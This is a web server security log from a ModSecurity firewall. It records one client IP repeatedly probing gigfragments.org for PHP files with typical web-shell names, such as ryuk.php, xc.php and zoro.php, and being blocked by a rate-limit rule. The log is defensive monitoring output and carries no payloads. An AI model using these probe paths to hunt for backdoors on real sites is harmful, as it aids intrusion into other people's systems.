[Sun Jan 04 22:14:49.430765 2026] [:error] [pid 42666:tid 42697] [client 4.241.234.12:15297] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aVp12fc221c7vwWrOjcVNgAAAwA"]
[Sun Jan 04 22:14:49.777331 2026] [:error] [pid 45949:tid 45962] [client 4.241.234.12:15457] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aVp12aWUhIYCdxgkhpBP9AAAAgg"]
[Sun Jan 04 22:14:50.046523 2026] [:error] [pid 45949:tid 45959] [client 4.241.234.12:15363] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "aVp12qWUhIYCdxgkhpBP9QAAAgU"]
[Sun Jan 04 22:14:50.353801 2026] [:error] [pid 48727:tid 48780] [client 4.241.234.12:15305] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "aVp12vgJtUs-E_QT0ibZzwAAA1c"]
[Sun Jan 04 22:14:50.636073 2026] [:error] [pid 45863:tid 45879] [client 4.241.234.12:15394] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "aVp12lGr1mgeue1bWvTYGgAAAA4"]
[Sun Jan 04 22:14:50.902413 2026] [:error] [pid 45863:tid 45865] [client 4.241.234.12:15475] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "aVp12lGr1mgeue1bWvTYGwAAAAA"]
[Sun Jan 04 22:14:51.167309 2026] [:error] [pid 45863:tid 45866] [client 4.241.234.12:15416] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "aVp121Gr1mgeue1bWvTYHAAAAAE"]
[Sun Jan 04 22:14:51.432864 2026] [:error] [pid 42666:tid 42703] [client 4.241.234.12:15314] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aVp12_c221c7vwWrOjcVOgAAAwY"]
[Sun Jan 04 22:14:51.683799 2026] [:error] [pid 48727:tid 48771] [client 4.241.234.12:15400] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aVp12_gJtUs-E_QT0ibZ0QAAA04"]
[Sun Jan 04 22:14:52.258889 2026] [:error] [pid 45863:tid 45878] [client 4.241.234.12:15326] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aVp13FGr1mgeue1bWvTYHwAAAA0"]
[Sun Jan 04 22:14:52.526757 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:15372] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aVp13Pc221c7vwWrOjcVPgAAAww"]
[Sun Jan 04 22:14:52.840331 2026] [:error] [pid 45950:tid 46004] [client 4.241.234.12:15485] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wui.php"] [unique_id "aVp13Fx-3HUGZIlAI-5RyAAAA5Y"]
[Sun Jan 04 22:14:53.161623 2026] [:error] [pid 48633:tid 48646] [client 4.241.234.12:15309] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wui.php"] [unique_id "aVp13XpmEoQIuLH2aWhICgAAAEs"]
[Sun Jan 04 22:14:53.546510 2026] [:error] [pid 48633:tid 48642] [client 4.241.234.12:15341] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wui.php"] [unique_id "aVp13XpmEoQIuLH2aWhICwAAAEc"]
[Sun Jan 04 22:14:53.792147 2026] [:error] [pid 48633:tid 48645] [client 4.241.234.12:15349] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wui.php"] [unique_id "aVp13XpmEoQIuLH2aWhIDQAAAEo"]
[Sun Jan 04 22:14:54.044223 2026] [:error] [pid 48727:tid 48764] [client 4.241.234.12:15419] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVp13vgJtUs-E_QT0ibZ1AAAA0c"]
[Sun Jan 04 22:14:54.375472 2026] [:error] [pid 48667:tid 48721] [client 4.241.234.12:15420] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVp13nO6aihVIlrNAPj4DQAAARg"]
[Sun Jan 04 22:14:54.658042 2026] [:error] [pid 48667:tid 48719] [client 4.241.234.12:15358] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVp13nO6aihVIlrNAPj4DwAAARY"]
[Sun Jan 04 22:14:55.050017 2026] [:error] [pid 48727:tid 48758] [client 4.241.234.12:15402] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aVp13_gJtUs-E_QT0ibZ1gAAA0E"]
[Sun Jan 04 22:14:55.327861 2026] [:error] [pid 48633:tid 48648] [client 4.241.234.12:15313] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ryuk.php"] [unique_id "aVp133pmEoQIuLH2aWhIEgAAAE0"]
[Sun Jan 04 22:14:55.716832 2026] [:error] [pid 48633:tid 48644] [client 4.241.234.12:15376] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ryuk.php"] [unique_id "aVp133pmEoQIuLH2aWhIEwAAAEk"]
[Sun Jan 04 22:14:55.967137 2026] [:error] [pid 45949:tid 45963] [client 4.241.234.12:15390] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ryuk.php"] [unique_id "aVp136WUhIYCdxgkhpBP9wAAAgk"]
[Sun Jan 04 22:14:56.256715 2026] [:error] [pid 45863:tid 45874] [client 4.241.234.12:15235] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ryuk.php"] [unique_id "aVp14FGr1mgeue1bWvTYIgAAAAk"]
[Sun Jan 04 22:14:56.685628 2026] [:error] [pid 43583:tid 43594] [client 4.241.234.12:15321] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoro.php"] [unique_id "aVp14OZbrSRUiJ-RX9ZCbwAAAUU"]
[Sun Jan 04 22:14:56.932417 2026] [:error] [pid 43583:tid 43597] [client 4.241.234.12:15301] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoro.php"] [unique_id "aVp14OZbrSRUiJ-RX9ZCcAAAAUg"]
[Sun Jan 04 22:14:57.191484 2026] [:error] [pid 45949:tid 45961] [client 4.241.234.12:15469] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoro.php"] [unique_id "aVp14aWUhIYCdxgkhpBP-AAAAgc"]
[Sun Jan 04 22:14:57.480624 2026] [:error] [pid 45949:tid 45967] [client 4.241.234.12:15477] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoro.php"] [unique_id "aVp14aWUhIYCdxgkhpBP-QAAAg0"]
[Sun Jan 04 22:14:57.819976 2026] [:error] [pid 45950:tid 45982] [client 4.241.234.12:15464] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kal.php"] [unique_id "aVp14Vx-3HUGZIlAI-5RywAAA4A"]
[Sun Jan 04 22:14:58.074442 2026] [:error] [pid 48727:tid 48772] [client 4.241.234.12:15357] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kal.php"] [unique_id "aVp14vgJtUs-E_QT0ibZ2gAAA08"]
[Sun Jan 04 22:14:58.361727 2026] [:error] [pid 45949:tid 45956] [client 4.241.234.12:15377] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kal.php"] [unique_id "aVp14qWUhIYCdxgkhpBP-gAAAgI"]
[Sun Jan 04 22:14:58.664500 2026] [:error] [pid 48727:tid 48771] [client 4.241.234.12:15343] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kal.php"] [unique_id "aVp14vgJtUs-E_QT0ibZ3AAAA04"]
[Sun Jan 04 22:14:58.976459 2026] [:error] [pid 45863:tid 45889] [client 4.241.234.12:15393] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVp14lGr1mgeue1bWvTYJAAAABg"]
[Sun Jan 04 22:14:59.271003 2026] [:error] [pid 48633:tid 48638] [client 4.241.234.12:15447] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVp143pmEoQIuLH2aWhIFAAAAEM"]
[Sun Jan 04 22:14:59.504369 2026] [:error] [pid 45950:tid 45991] [client 4.241.234.12:15458] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVp141x-3HUGZIlAI-5RzQAAA4k"]
[Sun Jan 04 22:14:59.779588 2026] [:error] [pid 48667:tid 48712] [client 4.241.234.12:15307] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVp143O6aihVIlrNAPj4EQAAAQ8"]
[Sun Jan 04 22:15:00.136536 2026] [:error] [pid 45950:tid 45993] [client 4.241.234.12:15391] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aVp15Fx-3HUGZIlAI-5RzwAAA4s"]
[Sun Jan 04 22:15:00.418221 2026] [:error] [pid 30985:tid 31019] [client 4.241.234.12:15405] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aVp15EisiM0XfzVcTWC0ggAAAcU"]
[Sun Jan 04 22:15:00.730100 2026] [:error] [pid 45949:tid 45957] [client 4.241.234.12:15384] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aVp15KWUhIYCdxgkhpBP_QAAAgM"]
[Sun Jan 04 22:15:01.107292 2026] [:error] [pid 45949:tid 45954] [client 4.241.234.12:15333] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aVp15aWUhIYCdxgkhpBP_gAAAgA"]
[Sun Jan 04 22:15:01.384181 2026] [:error] [pid 43583:tid 43589] [client 4.241.234.12:15543] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ed35f.php"] [unique_id "aVp15eZbrSRUiJ-RX9ZCcwAAAUA"]
[Sun Jan 04 22:15:01.689504 2026] [:error] [pid 48667:tid 48705] [client 4.241.234.12:15173] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ed35f.php"] [unique_id "aVp15XO6aihVIlrNAPj4EwAAAQg"]
[Sun Jan 04 22:15:01.988696 2026] [:error] [pid 45950:tid 46003] [client 4.241.234.12:15308] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ed35f.php"] [unique_id "aVp15Vx-3HUGZIlAI-5R0gAAA5U"]
[Sun Jan 04 22:15:02.315687 2026] [:error] [pid 30985:tid 31026] [client 4.241.234.12:15312] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ed35f.php"] [unique_id "aVp15kisiM0XfzVcTWC0hAAAAcw"]
[Sun Jan 04 22:15:02.625161 2026] [:error] [pid 43583:tid 43605] [client 4.241.234.12:15463] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fresh3.php"] [unique_id "aVp15uZbrSRUiJ-RX9ZCdgAAAVA"]
[Sun Jan 04 22:15:03.281628 2026] [:error] [pid 45949:tid 45970] [client 4.241.234.12:15373] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fresh3.php"] [unique_id "aVp156WUhIYCdxgkhpBQAwAAAhA"]
[Sun Jan 04 22:15:03.620068 2026] [:error] [pid 43583:tid 43592] [client 4.241.234.12:15260] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fresh3.php"] [unique_id "aVp15-ZbrSRUiJ-RX9ZCeQAAAUM"]
[Sun Jan 04 22:15:03.929078 2026] [:error] [pid 29351:tid 29396] [client 4.241.234.12:15359] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fresh3.php"] [unique_id "aVp155tGiMsRmNcKXvpHdQAAAsw"]
[Sun Jan 04 22:15:04.212716 2026] [:error] [pid 43583:tid 43590] [client 4.241.234.12:15401] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aVp16OZbrSRUiJ-RX9ZCewAAAUE"]
[Sun Jan 04 22:15:04.544304 2026] [:error] [pid 30985:tid 31033] [client 4.241.234.12:15276] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aVp16EisiM0XfzVcTWC0hwAAAdM"]
[Sun Jan 04 22:15:05.329750 2026] [:error] [pid 45950:tid 45982] [client 4.241.234.12:15546] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aVp16Vx-3HUGZIlAI-5R3QAAA4A"]
[Sun Jan 04 22:15:05.801716 2026] [:error] [pid 45950:tid 45983] [client 4.241.234.12:15324] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aVp16Vx-3HUGZIlAI-5R3gAAA4E"]
[Sun Jan 04 22:15:06.130851 2026] [:error] [pid 43583:tid 43612] [client 4.241.234.12:15352] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aVp16uZbrSRUiJ-RX9ZCfQAAAVc"]
[Sun Jan 04 22:15:06.398099 2026] [:error] [pid 43583:tid 43599] [client 4.241.234.12:15607] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aVp16uZbrSRUiJ-RX9ZCfgAAAUo"]
[Sun Jan 04 22:15:06.721186 2026] [:error] [pid 45950:tid 45993] [client 4.241.234.12:15329] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aVp16lx-3HUGZIlAI-5R4AAAA4s"]
[Sun Jan 04 22:15:07.071990 2026] [:error] [pid 48727:tid 48769] [client 4.241.234.12:15238] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aVp16_gJtUs-E_QT0ibZ4QAAA0w"]
[Sun Jan 04 22:15:07.315971 2026] [:error] [pid 43583:tid 43602] [client 4.241.234.12:15287] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/suy.php"] [unique_id "aVp16-ZbrSRUiJ-RX9ZCfwAAAU0"]
[Sun Jan 04 22:15:07.901412 2026] [:error] [pid 45949:tid 45957] [client 4.241.234.12:15265] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/suy.php"] [unique_id "aVp166WUhIYCdxgkhpBQBwAAAgM"]
